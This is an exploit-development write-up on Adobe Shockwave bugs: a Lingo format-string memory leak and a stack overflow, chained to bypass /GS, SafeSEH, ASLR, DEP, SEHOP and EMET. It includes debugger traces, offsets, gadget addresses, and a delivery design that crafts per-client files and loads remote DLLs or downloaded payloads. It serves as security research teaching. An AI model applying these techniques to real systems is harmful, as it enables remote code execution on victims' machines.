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Last active Aug 29, 2015
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Adobe Shockwave - A case study on memory disclosure

via phrack


#1 - Introduction

These days, proper exploit development on the latest and greatest operating systems is a time-consuming task. It doesn't help matters that the availability of public resources to help individuals research techniques to achieve such ends are becoming scarce. There are many reasons why this is now the case. Mainly, techniques to bypass security mitigations have become a valuable commodity to various entities and as such are no longer released as often for public dissemination or to further one's reputation.

I was lucky enough to get started in this field when there were resources like Gera's insecure programming challenges [1], 29A [2], Uninformed [3], and of course Phrack to inspire me. I've tried to imagine what it would be like to be a newcomer in current times and it's a bit depressing that most (not all) of the material that is actually published is done so with an unhealthy bit of rodomontade and ulterior motives. Generally, the output lacks details that are most facilitating to an aspiring researcher--the approaches to the problem (including the failures) that so define how a so-called hacker really thinks.

This article is intended to give the reader insight into an approach to the vulnerability discovery and exploitation process. By no means should the take- away from this be that mitigations are broken or easily defeated, but rather it serves as a case study demonstrating real-world vulnerabilities and the process by which I was able to achieve successful code execution in spite of various mitigations that have hitherto not been bypassed publicly.

What follows is walk through of the discovery and exploitation of a memory disclosure vulnerability and a stack-based buffer overflow that together can be abused to bypass stack cookies (/GS), SafeSEH (/SAFESEH), full process Address Space Layout Randomization (ASLR, /DYNAMICBASE), Data Execution Prevention (DEP), Structured Exception Handler Overwrite Protection (SEHOP), and the Enhanced Mitigation Experience Toolkit (EMET) to gain reliable code execution against a multitude of platforms, but with a focus on Windows 8 x64.

The bugs discussed herein were discovered by myself and where applicable I will try to cite dates to help the reader understand the time invested to create the end result. Hopefully there's something in here that you're able to take away and I'd like to imagine one day you'll also share something with those who come after you.

#2 - Shockwave Overview

The vulnerabilities I'll be discussing are in Adobe's Shockwave Player [4], a closed-source application used for viewing Adobe Director media files within a browser. The player can be installed on Windows and Mac OS operating systems and is deployed on over 450 million desktops according to Adobe [5].

Shockwave is often confused with Flash due to Flash's misleading MIME type of 'application/x-shockwave-flash'. This is not the case, however, and the technologies are entirely independent of each other (for the record, Shockwave's MIME type is 'application/x-director').

##2.1 - Deployment Notes

The Shockwave Player is invoked differently depending on which browser/OS you're running. For example, in the case of Internet Explorer the Shockwave ActiveX control is instantiated and the Adobe modules are loaded into the iexplore.exe process space. However, in the case of Firefox, plugins are loaded via NPAPI [6] and occupy a new child process called plugin-container.exe.

By default, if a user visits the Shockwave installer site, they are served up the "slim" version of the installer. The difference between the slim and the full is that the slim does not contain all the functionality for various media types (instead they are downloaded when the Player tries to render a media file with such content).

It should also be noted that the code is distributed as a 32-bit build, even if deployed on a 64-bit operating system.

##2.2 - Supported File Formats

Shockwave is used to render Adobe Director files. These come in three forms:

- .dir is an uncompressed Director file
- .dcr is Director file compressed in various locations using zlib
- .dxr is a non-editable Director file

Each of these are undocumented but are based off of the RIFF file format (except that their data is stored in big endian as denoted by the file magic value of 'RIFX').

For example, a partial hex dump of a .dir file:

Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000  58 46 49 52 78 62 05 00 33 39 56 4D 70 61 6D 69  XFIRxb..39VMpami
00000010  18 00 00 00 01 00 00 00 26 8B 00 00 82 07 00 00  ........&`..`...
00000020  00 00 00 00 00 00 00 00 00 00 00 00 2A 59 45 4B  ............*YEK
00000030  74 01 00 00 0C 00 0C 00 1E 00 00 00 17 00 00 00  t...............
00000040  3E 00 00 00 04 00 00 00 6D 75 68 54 0D 00 00 00  >.......muhT....
00000050  04 00 00 00 44 45 4D 58 2B 00 00 00 4B 00 00 00  ....DEMX+...K...
00000060  6D 75 68 54 6D 00 00 00 4B 00 00 00 44 45 4D 58  muhTm...K...DEMX

The .DCR format is useful for bypassing network detection, as no device/software I am aware of currently knows how to decompress this proprietary format.

##2.3 - Creating Director Files

Director files are created in, appropriately, Adobe Director [7]. The interface is very similar to Flash Studio in that there are frames, a movie object, a stage, cast members, sprites, and script objects.

One quirk worth mentioning is that by default, when 'playing' a file within Director it uses an older version of the Shockwave libraries (not the ones in the player's default directory). I'm guessing that this might not be the case if you're using the latest Director (version 12), but as I was using warez, well, ... you get it. This can impact your exploit development so ensure you test outside Director as well (or overwrite the appropriate modules with newer versions).

##2.4 - Relevant Shockwave Modules

There are two main modules that Shockwave uses to handle parsing and rendering of DIR files: DIRAPI.dll and IML32.dll. I did a bit of research on these back in 2011 [8]. Shockwave uses a custom memory manager called Smartheap [9], but that isn't really of much interest with regard to the vulnerabilities described in this article.

In addition to those two modules, there are also a number of "Xtras". These files have .x32 extensions but are simply DLL files. They provide added functionality for things like embedded media (Quicktime, Flash, 3D objects, fonts, audio, and so on).

##2.5 - The Lingo Scripting Language

Shockwave files have support for a built-in scripting language called Lingo which was created in the 1990s and, according to the inventor John Thompson, was his "...most significant contribution to the computer industry to date" [10].

Lingo enables a Director developer to interact with multimedia elements and the user. Its intended functionality is very similar to its Adobe Flash counterpart, Actionscript. Its syntax, however, is a bit different. There is an API reference available on Adobe's site [11] that covers mostly everything you'd need to know about it.

We'll soon see that Lingo can provide an attacker with a wealth of information to aid in the exploitation process.

#3 - Vulnerability Discovery

I had previously spent a good amount of time bug hunting in Shockwave for a presentation at CanSecWest and had unearthed a few file format vulnerabilities. The problem with those, however, is that anybody with the ability to bit-flip a file can also stumble upon them trivially. So, this time around I decided to see what I could find in Lingo.

One of the most tedious aspects of bug hunting is figuring out the best way to generate input to properly cover as much of the attack surface as possible. My first attempt at this was to don my hipster jeans and learn to develop Director movies legitimately. I tried to embed as much content as possible and ensured in a debugger that the appropriate Xtras were being loaded into the process. The hardest part was learning how to properly access the objects via Lingo and interact with them in the hopes of causing a fault.

After exhausting as many Lingo methods as I could manage to invoke (it's a long list, check out: link) I sat back and considered what to do next.

Following reflection upon my prior attempts, I realized that the one subset of the available Lingo methods that I was unable to invoke were related to the 3D API. As it turns out, I was unable to call Lingo's 3D methods because I could not embed a proper 3D object and initialize the environment as was required.

I decided the best approach was to find an existing Director file that already had 3D objects and associated Lingo code in it. After searching a while I found that Director itself comes with some tutorial files that fit the need. In the

%ProgramFiles%\Adobe\Adobe Director 11\Configuration\Tutorials\3D 

folder are the .dir files I was hoping to find. Once they were loaded into Director I found the Lingo scripts I could simply modify to invoke the methods I had previously overlooked.

##3.2 - Stack-based Buffer Overflow

The first vulnerability I discovered was a stack-based buffer overflow that could be reached via two different Lingo methods (they hit the same vulnerable code, so I consider them the same bug). The vulnerable methods were:

- physicsWorld.loadProxyTemplate(string proxyname, 3dmember)
- world.createRigidBody(string rigidbodyname, string 3Dmodelname, 
symbolBodyProxy, symbol bodyType, symbol flipNormals)

When provided with a large enough string as the first parameter to either of these a buffer on the stack can be overflowed.

In order to craft a large string in Lingo, you can use their equivalent of a for loop:

  buf = ""
  repeat with i = 0 to 10000
    buf = buf & "$"
  end repeat

Depending on how much data is provided, the fault that the debugger catches may differ. Here's one such crash:

(63c.410): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=37734236 ebx=02f6bd10 ecx=00000000 edx=03790404 esi=000033a7 edi=02f6c248
eip=6fde9d0a esp=02f6b7ec ebp=02f6b7ec iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
6fde9d0a 81780454534146  cmp     dword ptr [eax+4],46415354h ds:002b:3773423a

OK, from the faulting instruction alone there is not much to deduce. The call stack tells us a bit more:

0:005> kv
ChildEBP RetAddr  Args to Child              
02f6b7ec 6f2277b8 37734236 02f6b810 6f2283b1 IML32!Ordinal1115+0xa
02f6b7f8 6f2283b1 02f6c248 06cf7024 00000000 DIRAPI+0x377b8
02f6b810 6f23a8ea 06cf7024 000033a7 02f6bd10 DIRAPI+0x383b1
02f6b82c 6f35ec15 06cf7024 02f6c248 02f6bd10 DIRAPI+0x4a8ea
02f6b848 6e73250b 06ced4bc 02f6c248 02f6bd10 DIRAPI+0x16ec15
02f6c114 42346942 69423569 37694236 42386942 Dynamiks+0x335e
02f6c118 69423569 37694236 42386942 6a423969 0x42346942
02f6c11c 37694236 42386942 6a423969 316a4230 0x69423569
02f6c120 42386942 6a423969 316a4230 42326a42 0x37694236
02f6c124 6a423969 316a4230 42326a42 6a42336a 0x42386942
02f6c128 316a4230 42326a42 6a42336a 356a4234 0x6a423969
02f6c12c 42326a42 6a42336a 356a4234 42366a42 0x316a4230

The first thing that jumps out here is that there are what appear to be 5 fully intact frames before the stack is smashed. That tells us that the destination buffer likely originates in the Dynamiks module.

We can also see that there are two stack pointers passed as arguments from Dynamiks. Inspecting these we can see which was the destination buffer (we could also deduce this from the frame pointers we see in the call stack... i.e. it's unlikely to be 0x02f6c248 because the corruption began lower on the stack):

0:005> dc 02f6c248 L8
02f6c248  73423573 37734236 42387342 74423973  s5Bs6Bs7Bs8Bs9Bt
02f6c258  31744230 42327442 74423374 35744234  0Bt1Bt2Bt3Bt4Bt5
0:005> dc 02f6bd10 L8
02f6bd10  41306141 61413161 33614132 41346141  Aa0Aa1Aa2Aa3Aa4A <- beginning
02f6bd20  61413561 37614136 41386141 62413961  a5Aa6Aa7Aa8Aa9Ab    of our buf

So, the stack buffer begins at 0x02f6bd10 and was passed from the Dynamiks module into DIRAPI as argument 3. This can be seen by disassembling the Dynamiks module and checking out the code before offset 0x335e:

(Dynamiks.x32: md5sum c6a9a75deb3da27682c267a7a2507e16, checksum 2a30eb, 
Shockwave version

0:005> ub Dynamiks+0x335e L6
709e334f 8d8dfcfbffff    lea     ecx,[ebp-404h] <--- vulnerable buffer
709e3355 51              push    ecx <-------------- passed as third argument
709e3356 8d4f08          lea     ecx,[edi+8]
709e3359 51              push    ecx
709e335a 50              push    eax 
709e335b ff5244          call    dword ptr [edx+44h]

In a real disassembler (IDA Pro) we can see how large that local variable is by checking out the function's stack:

-00000404 var_404         db 1024 dup(?)  <--- vuln buffer, 1024 bytes
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 arg_0           dd ?
+0000000C arg_4           dd ?
+00000010 arg_8           dd ?
+00000014 arg_C           dd ?
+00000018 arg_10          dd ?

Any string over 1024 bytes in size will corrupt var_4. Any guess as to what var_4 is? Yep... say hello to the /GS mitigation:

(Dynamiks.x32: base address 0x10000000)

.text:100018A8                 mov     eax, ___security_cookie
.text:100018AD                 xor     eax, ebp
.text:100018AF                 mov     [ebp+var_4], eax

For those of you not familiar with /GS [12] it is a compiler option that is on by default in any recent version of Visual Studio. It works by ... well, skape said it much better than I in his Uninformed [13] article when describing stack cookie initialization:

"At a high-level, this routine will take an XOR'd combination of the current system time, process identifier, thread identifier, tick count, and performance counter. The end result of XOR'ing these values together is what ends up being the image file's security cookie."

The result of those operations is a 4-byte value that gets generated when the module is loaded and then stored in its .data section. Any function the compiler deems in need of some extra protection takes that value and XORs it again with the current frame pointer (@ebp). It then stores it on the stack as the first local variable. Upon function exit, the process checks if it has been tampered with and, if so, throws an exception which usually results in process termination.

Had we not caused an exception in IML32.dll the code would still return back to the Dynamiks module and upon function exit (provided it doesn't access any other invalid data long the way), the stack cookie check would fail and the process would throw an exception and probably exit. Either way, this is an obstacle we'll need to bypass.

We'll get back to this in a bit.

##3.3 - Stack-based Memory Disclosure

In the course of testing the 3D Lingo methods, I was using a string consisting of a large amount of the "%x" characters. I was lucky enough to also be outputting objects to the Messages window via Lingo's trace() function. In a few cases I saw some very interesting output, such as the following:


That was certainly not the name I gave that object when I called newModel()...

Separating those %x values by spaces yielded:

 model("d03e68 6317e44 5ffad60 43 6317dcc 680fb8a9 d03e68 42 680276b0 12d450 
 d03e68 69080b00 5711164 100c 17eb90 69056cd5 6908db38 1 1038")

At this point I was testing all of this on Windows XP and thus there was no Address Space Layout Randomization to worry about. With that in mind, I'll tell you that DIRAPI.dll has a preferred base address of 0x68000000 and IML32.dll of 0x69000000. Looking at the output from the trace() call we can clearly see that we're dealing with a format string vulnerability and for each %x we provide, we're returned a 32 bit value off the stack.

As the code path to reach this vulnerability is deterministic, it can be verified that the code pointers will always be the same on a non-ASLR'd system. Thus, we can disclose the base addresses of at least two modules as well as what look to be heap and stack pointers. We can verify the addresses in a debugger:

0:008> !address 0xd03e68
    00c60000 : 00c60000 - 00101000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   00150000
0:008> !heap -p -a 0xd03e68
    address 00d03e68 found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        00c60018 20000 0000  [0b]   00c60020    100000 - (busy VirtualAlloc)
          ? <Unloaded_ame.dll>+ffff7
0:008> !address 6317e44
    06010000 : 06314000 - 0005b000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   00150000
0:008> !address 5ffad60
    05f00000 : 05f00000 - 00101000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   00150000
0:008> !address 12d450
    00030000 : 0011e000 - 00012000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageStack
                    Pid.Tid  d1c.89c
0:008> !address 69080b00
    69000000 : 69001000 - 0008c000
                    Type     01000000 MEM_IMAGE
                    Protect  00000020 PAGE_EXECUTE_READ
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageImage
                    FullPath <snip>IML32.dll
0:008> ub 69056cd5 L1
69056cd3 ffd5            call    ebp

One thing worth pointing out there is that the heap pointers originate from an allocation of size 0x100000. This is due to the Smartheap slicing out allocations from its own arena of that size.

Anyway, the take-away here is that I was able to leak an address from the stack, two from the heap, and one from a module (IML32.dll).

###3.3.1 - Undocumented Format Specifier

During my initial attempt at exploitation of these issues, I was having trouble locating a reliable stack pivot within the one module I was able to leak an address from (IML32.dll). After struggling with that problem for about one week, I went back and began reverse engineering the root cause of the memory disclosure and came across some undocumented functionality in Lingo.

When provided with a "%v" format specifier, the code within DIRAPI.dll replaces it with <%d %p>:

(DIRAPI.dll: base address 0x68000000, md5sum fb5405cef8b2d6273c593477392cbc88, 
checksum 1c266b, Shockwave version

.text:68039FF2  case__v:
.text:68039FF2    add     edi, 4          ; jumptable 68039EC7 case 35
.text:68039FF5    mov     [ebp+var_814], edi
.text:68039FFB    mov     edi, [edi]
.text:68039FFD    lea     esi, [ebp+var_810]
.text:6803A003    mov     byte ptr [ebp+var_404], 0
.text:6803A00A    call    sub_68039CA0
.text:6803A00F    test    eax, eax
.text:6803A011    jz      loc_6803A0EA
.text:6803A017    mov     eax, [ebp+arg_8] 
.text:6803A01A    mov     ecx, [ebp+var_824]
.text:6803A020    mov     edx, [ebp+var_828]
.text:6803A026    push    eax
.text:6803A027    push    ecx
.text:6803A028    push    edi
.text:6803A029    push    edx
.text:6803A02A    call    sub_68030DB0    ; replaces %v with <%d %p> and
.text:6803A02A                              re-enters this func

By placing %v characters at specific locations in the input string I was able to force a dereference of one of the stack values and retrieve two 32-bit integers from there, which yielded me an additional address within a module. Specifically, I was able to leak an address within the "Shockwave 3d Asset.x32" module which, it turned out, had a quite useful code primitive I abused for a stack pivot.

#4 - Exploit Delivery

The exploits discussed herein were progressively developed, with differing approaches as obstacles were encountered. I've included explanations of all of them to allow the reader to gain some insight into the process rather than just delivering an explanation of what came to be the best solution. In fact, the attached exploit code has not been "cleaned up", instead it contains all the artifacts of a work-in-progress leading up to the final solution.

##4.1 - Server-side Architecture

As some of the exploits have different required architecture, I will cover all the components I utilized throughout the exploitation process.

###4.1.1 -

I used[14] to serve the following:

  • HTML pages that embedded the .dir files
  • Director files
  • A payload in one of the exploits

The included exploit has the following directory structure:

  |       ( library code)
      |       input.dir
      |       mem_disc.dir
      |       output.dir
      |       exploit.html
      |       index.html

It is also worth noting that I also added code to handle serving gzip-encoded data to my as I encountered some unreliability with regard to and its serving of large files.

###4.1.2 - lighttpd

During one stage of the exploit development process, the code required a WebDAV server to host a payload. For that, I used lighttpd[15] with the following configuration:

        server.document-root = "/htdocs"
        server.port = 80
        server.username = "nobody"
        server.groupname = "nogroup"

        mimetype.assign = (".html" => "text/html",
                           ".application" => "application/x-ms-application")
        server.modules   = ( "mod_webdav",

        server.errorlog = "/logs/error.log"
        accesslog.filename = "/logs/access.log"

        webdav.activate = "enable"
        webdav.sqlite-db-name = "/lock/lighttpd.webdav_lock.db"

##4.2 - The HTML

The HTML is pretty basic and consists of an index.html that embeds the .dir file responsible for memory disclosure and an iframe that is dynamically populated with the exploit.html page, which in turn embeds the crafted .dir exploit for that particular client, on demand.

The iframe was required as it was noted that if one was not used, modules in memory were loaded and unloaded at potentially different addresses if the browser navigated away from one page, thus rendering the memory disclosure unreliable.

##4.3 - The Javascript

The index.html page contains the javascript functions responsible for the following:

  • Receiving disclosed memory contents provided by the mem_disc.dir file
  • Receiving and parsing version, platform, and user agent information
  • POST-ing to itself in order to get such data back to

##4.4 - The Lingo

There are a couple of Lingo functions and properties that are exceptionally friendly for the exploit developer. The following are used to determine how to craft the malicious .dir file for a given client and then transport that information to the server:

  • goToNetPage - function used to call javascript from the .dir
  • environmentPropList - property used to obtain platform, operating system information, and shockwave build version

##4.5 - The Python

The handles construction of a custom .dir file per client request. It receives leaked memory addresses, browser user agent, shockwave version, and platform information from the aforementioned POST request.

The CraftExploit class defined within contains two class variables of note. The self.int_mods list is populated with tuples containing the file offset within the template .dir file and the value to inject. For example, the first stack pivot used corresponds to offset 0x55AFC in the file. The relevant code that replaces that value in the template .dir file looks like this:

self.int_mods.append((0x55AFC, self.sw_3d+0x13e522))

The above will cause the resulting .dir file at offset 0x55AFC to contain a pointer to the "Shockwave 3d Asset.x32" at offset 0x13e522.

The other notable class variable is self.str_mods which does much the same thing, except that it is implemented as a dictionary. For example, in order to ensure that a string value will exist at a given offset in the resulting .dir file, one can utilize str_mods as so:

self.str_mods[0x536D0] = 'urlmon.dll\x00'

The contents of str_mods and int_mods are injected into the file using CraftExploit's render method and then served to the target client via the web server.

#5 - Vulnerability Exploitation

The following sections will walk the reader through my exploit development process against various configurations, bypassing mitigations as encountered.

##5.1 - Windows XP SP3/Firefox/Shockwave

This was the first exploit I wrote for this issue, and as I was developing it on Windows XP SP3 I did not need to worry about ASLR (or even use the memory disclosure vulnerability). This was written the day the bug was discovered with the intent of exploiting the issue quickly, not reliably.

As the vulnerable code is protected by /GS, I opted to overwrite one of the saved exception handlers on the stack. The executable was also compiled with SafeSEH, for which bypasses has been covered extensively by others. In short, I pointed the corrupted handler to an address inside a module that did not make available the addresses of its exception handling functions (for WinDBG users, I recommend checking out the narly[16] plugin that helps determine which addresses are available for such a bypass). Thus, the exception dispatcher was unable to determine if my corrupted pointer was legitimate and would proceed to call it.

I then gained stack control and, after some ROP-ing, VirtualProtectEx'd the stack and returned to it, executing a payload that simply ran WinExec("calc.exe").

I relied on several things that make this exploit... dirty:

  • The modules I used to ROP with were getting their preferred base addresses, and thus I could easily ignore ASLR.
  • I used a system library, shell32.dll, for some primitives. This module is updated by Microsoft often and is not something to rely on.

So, to summarize, this exploit bypasses /GS, SafeSEH, DEP, and ignores ASLR (but is more of a PoC than a proper exploit--and well, it's XP).

##5.2 - Windows XP SP3/Firefox/Shockwave

About a day after I wrote the exploit for version Adobe released For completeness' sake, I added support to my exploit for what was the latest version, using identical primitives, differing just in location. See the attached exploit for details.

##5.3 - Windows 7 x64/Firefox/Shockwave

When Adobe released version, I decided to utilize the memory disclosure bug and exploit the vulnerabilities on a more modern operating system, Windows 7.

This time, I used the stack memory disclosure to remove any reliance on indeterminable memory addresses, thus bypassing ASLR. Unlike the prior exploits, this version simply ROPs to a LoadLibraryA call and requests DLL over a UNC path. I created a simple DLL that just calls WinExec("calc.exe") upon load. Then, using lighttpd as described in 4.1.2, the file is served.

##5.4 - Windows 7 x64/Firefox/Shockwave 5.0

The above exploit against Windows 7 x64 uses LoadLibraryA to load a malicious payload off of a UNC share. EMET removes the ability to do this, but it is easy enough to bypass, as detailed in the following section.

###5.5.1 - Relevant 'EMET 5.0' Mitigations

The exploit for the same target with EMET 5.0 enabled simply calls MoveFileA first to move the file from the remote WebDAV to the local filesystem and then calls LoadLibraryA on the local file.

Protip: chattr +i the DLL file on the server so that the MoveFileA will move it but won't be able to delete it afterwards, enabling subsequent exploit attempts to work without a problem. You could also do this within the lighttpd config.

Also, EMET implements a mitigation they call Export Address Table Filtering[17] which monitors for read accesses to the exported function addresses in key system DLL modules. However, the attached exploit retrieves the addresses of functions by snagging a pointer via the Shockwave modules' import section (which are not monitored by EMET), rather than from the system DLL files themselves.

##5.5 - Windows 8 x64/Firefox/Shockwave 5.0

Windows 8 introduces a number of exploit mitigations, thoroughly summarized by Matt Miller and Ken Johnson during their Blackhat talk in 2012 [18]. The most obtrusive mitigation that had to be overcome was SEHOP. SEHOP is another mitigation intended to deter exploitation of SEH-based corruption. As Microsoft describes [19]:

"The first step involves the insertion of a symbolic exception registration record as the tail record in a thread's exception handler list. This step occurs when a thread first begins executing in user mode. Since exception registration records are always inserted at the head of the exception handler list, the symbolic record is guaranteed to be the final exception registration record.

The second step consists of walking the exception handler list at the time that an exception is being dispatched to ensure that the symbolic record can be reached and that it is valid. This step happens when the exception dispatcher is notified that an exception has occurred in user mode. If the symbolic record cannot be reached, the exception dispatcher can assume that the exception handler list is corrupt and that an SEH overwrite may have occurred. The exception dispatcher is then able to safely terminate the process. If the symbolic record is found, the exception dispatcher is able to proceed as it normally would and call each of the registered exception handlers."

In order to bypass this mitigation, you pretty much need a memory disclosure. Luckily for me, the leaking of a stack address makes this possible.

To demonstrate how such a mitigation is bypassed, the following will walk through inspecting the exception chain before and after the exploit corrupts it.

Firstly, once attached to the Firefox process, we can tell WinDBG to follow child processes with the '.childdbg 1' command. Next we point Firefox to the malicious server which will cause the Shockwave player to be invoked, thus launching the plugin-container.exe process from Firefox:

0:029> .childdbg 1
Processes created by the current process will be debugged
0:029> g
ModLoad: 70b30000 70b63000   C:\Windows\SysWOW64\shdocvw.dll
ModLoad: 09c70000 09c76000   plugin-container.exe
Executable search path is: 
ModLoad: 00fa0000 00fa6000   plugin-container.exe
ModLoad: 772f0000 77447000   ntdll.dll
ModLoad: 76620000 76750000   C:\Windows\SysWOW64\KERNEL32.DLL
ModLoad: 74f10000 74fb6000   C:\Windows\SysWOW64\KERNELBASE.dll
ModLoad: 74980000 74989000   C:\Windows\SysWOW64\CRYPTBASE.dll
ModLoad: 74920000 74971000   C:\Windows\SysWOW64\bcryptPrimitives.dll
(834.950): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000003 ecx=a1500000 edx=00000000 esi=00000000 edi=007e0000
eip=77390545 esp=007bf854 ebp=007bf880 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
77390545 cc              int     3

In order to inspect the untainted exception chain, we can ask WinDBG to next break upon loading of the Dynamiks.x32 module using:

1:032> sxe ld:dynamiks
1:032> g
(740.1f0): Unknown exception - code 000006ba (first chance)
ModLoad: 709e0000 70c81000   C:\Users\user\AppData\LocalLow\Adobe\Shockwave 
Player 12\xtras\download\AdobeSystemsIncorporated\Dynamiks\Dynamiks.x32
eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=00000000 edi=fe9bf000
eip=77e20fe8 esp=0061a944 ebp=0061a99c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
77e20fe8 c22800          ret     28h
1:032> bp !Dynamiks+0x335b
1:032> g
Breakpoint 0 hit
eax=0506ba80 ebx=00000000 ecx=0061ca6c edx=71407620 esi=050003a0 edi=0061ca64
eip=709e335b esp=0061c074 ebp=0061c938 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
709e335b ff5244          call    dword ptr [edx+44h]  ds:002b:71407664=713debe0

We can view the current exception chain with the !exchain command:

1:032> !exchain
0061ef40: USER32!_except_handler4+0 (775f3991)
0061efa4: USER32!_except_handler4+0 (775f3991)
0061f000: ntdll!KiUserCallbackExceptionHandler+0 (77e22e60)
0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859)
0061f858: plugin_container+18f9 (010b18f9)
0061f8a8: ntdll!_except_handler4+0 (77ec35f2)
0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86)
Invalid exception stack at ffffffff

For those unfamiliar with the above formatted information, the first number is the address on the stack of the SEH record. For example, for the first entry we can inspect the record and verify that the first 32 bit value points to the next SEH record address on the stack, and that the second 32 bit value points to the code responsible for handling the exception:

1:032> dd 0061ef40 L2
0061ef40  0061efa4 775f3991
1:032> u poi(0061ef40+4) L4
775f3991 8bff            mov     edi,edi
775f3993 55              push    ebp
775f3994 8bec            mov     ebp,esp
775f3996 83ec14          sub     esp,14h

Prior to corruption, the SEH record chain consists of the following stack locations, terminated by -1:


At this point, we also know the address of the destination buffer that will be overflowed (see section 3.2):

1:032> dd @esp+0x8 L1
0061c07c  0061c534

We can calculate how much data is required to be copied from that address to reach the first SEH record on the stack:

1:032> ? 0061ef40-0061c534
Evaluate expression: 10764 = 00002a0c

Now comes the fun part. The exception chain validation that occurs when ntdll!KiUserExceptionDispatcher doesn't care how many entries are in the chain. What this means is that an attacker has some flexibility with regard to how they choose to bypass the checks. For example, the stack corruption could be used to link the first exception handler (USER32!_except_handler4) all the way to the last one (ntdll!FinalExceptionHandler) by modifying the first's *next pointer. Another option (and the one that I chose) is to craft a fake SEH record, link a prior record to yours, and link yours to an existing one located further down the stack. To illustrate this, the below shows the state of the exception chain after attempting to step over the call that causes the stack-based buffer overflow:

1:032> p
(740.1f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=37734236 ebx=0061c534 ecx=00000000 edx=00e5eff4 esi=00002af8 edi=0061ca6c
eip=71439d0a esp=0061c010 ebp=0061c010 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
71439d0a 81780454534146  cmp dword ptr [eax+4],46415354h ds:002b:3773423a=??
1:032> !exchain
0061ef40: Shockwave_3d_Asset!CIFXString::SetCodePage+49122 (70f2e522)
0061ef50: 41414141
0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859)
0061f858: plugin_container+18f9 (010b18f9)
0061f8a8: ntdll!_except_handler4+0 (77ec35f2)
0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86)
Invalid exception stack at ffffffff

Note that now the SEH chain consists of:


What has occured is the first SEH record has been corrupted to point into the "Shockwave 3d Asset.x32" module (this is our stack pivot--more on this later) and it's *next pointer has been modified to point to a new address on the stack (calculated using the stack memory disclosure).

The second record shown above is a fake one that my exploit crafts to re-link the chain. Its *next pointer has been crafted to point to 0061f0fc which is a valid SEH record that existed prior to the corruption. Note that its code pointer was simply set to 0x41414141, which is weakly validated by ntdll's exception dispatcher to ensure it is not located on the stack.

At this stage, the SEH chain will pass SEHOP validation and the first record's code will be called. This can be verified in the debugger:

1:032> bp Shockwave_3d_Asset!CIFXString::SetCodePage+49122
1:032> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=70f2e522 edx=77e23105 esi=00000000 edi=00000000
eip=70f2e522 esp=0061ba5c ebp=0061ba7c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
70f2e522 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:002b:0061ba88=0061ef40

###5.5.1 - Relevant 'EMET 5.0 Tech Preview' Mitigations

EMET 5.0 implements many mitigations that were submitted as 'defensive security research' to the Microsoft BlueHat Prize Contest (over $250,000 was awarded). The software is still in Tech Preview, but I was curious as to how difficult it would be to bypass. I was also a bit irked that my prior exploits required a WebDAV server. So, in this version of the exploit I decided to remove that requirement. This was accomplished by ROP-ing a call to LoadLibraryA whereby I loaded the urlmon.dll module. More specifically, I returned to LoadLibraryA+0x5 to skip over the EMET hook:

1:039> u KERNEL32!LoadLibraryA L2
76ccf864 e92f0932f9      jmp     6fff0198
76ccf869 837d0800        cmp     dword ptr [ebp+8],0

1:039> u 6fff0198
6fff0198 684bedeeeb      push    0EBEEED4Bh
6fff019d 60              pushad
6fff019e 9c              pushfd
6fff019f 54              push    esp
6fff01a0 e80bd32a05      call    emet+0x4d4b0 (7529d4b0)
6fff01a5 9d              popfd
6fff01a6 61              popad
6fff01a7 83c404          add     esp,4

By ensuring we land at LoadLibraryA+0x5 and we control @ebp, this EMET hook is trivially bypassed. Microsoft is aware of how limited this hook is, and they even cite Phrack in their blog post[20].

Once urlmon.dll was loaded, I had to deal with EMET's 'Caller' mitigation, which does the following:

"EMET will make sure that when a critical function is reached, it is reached via a "call" instruction rather than a "ret" instruction. This is a very useful mitigation and breaks many ROP gadgets."[20]

I also had to deal with the 'SimExecFlow' mitigation:

"This mitigation tries to detect ROP gadgets following a call to a critical function. It works by emulating a specified number of instructions at the return address of the caller of a critical function."[20]

Both of the above mitigations would interfere with my calling GetProcAddress to retrieve the address of URLDownloadToFileA. They were bypassed by returning into the middle of a module's existing call to GetProcAddress, thus EMET could not tell that it was ROP-ed to or that it was an illegitimate call:

.text:7A25CD4A 00C                 push    eax             ; hModule
.text:7A25CD4B 010                 call    ds:GetProcAddress
.text:7A25CD51 008                 mov     [esi+18h], eax
.text:7A25CD54 008                 cmp     eax, edi
.text:7A25CD56 008                 jnz     short loc_7A25CD6D
.text:7A25CD6D     loc_7A25CD6D:
